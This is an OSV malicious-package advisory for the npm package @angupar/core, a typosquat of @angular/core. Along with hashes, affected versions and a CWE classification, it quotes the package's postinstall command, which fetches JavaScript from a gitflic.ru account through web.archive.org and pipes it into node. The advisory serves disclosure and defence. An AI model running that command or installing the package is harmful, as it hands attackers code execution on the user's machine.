MAL-2026-17539

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@angupar/core/MAL-2026-17539.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-17539
Published
2026-10-05T03:32:05Z
Modified
2026-10-05T04:15:04Z
Summary
Malicious code in @angupar/core (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (61d3f74118d7ca9e50d79028ad472e56f68c8f86111fb03973a0c01a00b4cd84)

Package impersonates @angular/core (name @angupar/core, author field "angular", repository pointing at github.com/angular/angular, README copied from Angular). Its package.json postinstall script runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching JavaScript from a third-party user account (hellscripter on gitflic.ru) through a web.archive.org proxy and piping it directly to the installer's Node runtime. The fetch is unpinned, has no integrity check, and resolves to a host unrelated to the Angular project. npm install @angupar/core therefore yields arbitrary install-time code execution under attacker control, with the typosquat on @angular/core serving as the delivery lure.

Database specific 
{
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-020992",
            "import_time":  "2026-10-05T03:57:37.217038158Z",
            "modified_time":  "2026-10-05T03:32:05Z",
            "sha256":  "61d3f74118d7ca9e50d79028ad472e56f68c8f86111fb03973a0c01a00b4cd84",
            "source":  "amazon-inspector",
            "versions":  [
                "22.2.1"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / @angupar/core

Package

Name
@angupar/core
View open source insights on deps.dev
Purl
pkg:npm/%40angupar/core

Affected ranges

Affected versions

22.*
22.2.1

Database specific

cwes 
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files":  [
        {
            "path":  "package.json",
            "sha256":  "9798dac30d32710ec167e1169037cb404586a075c9c42cda17e2823eac639688",
            "tlsh":  "bf513624e4f48d6323df6294dd2a4943b138495b5c38bd68b3dd009c8f0e61f21beb9a"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "core-22.2.1.tgz",
            "hashes":  {
                "sha1":  "460a74eafd192f442d91941fa681726b86d6b182",
                "sha512_sri":  "sha512-GnBOygH3unPWIx9N6FwJt1kihnfWxCYKvI8ik6aF4PJqW1/sngcq12Ri1ZAwOOd4Y7RuUoWZrHTjJyNsnpJd3A=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@angupar/core/MAL-2026-17539.json"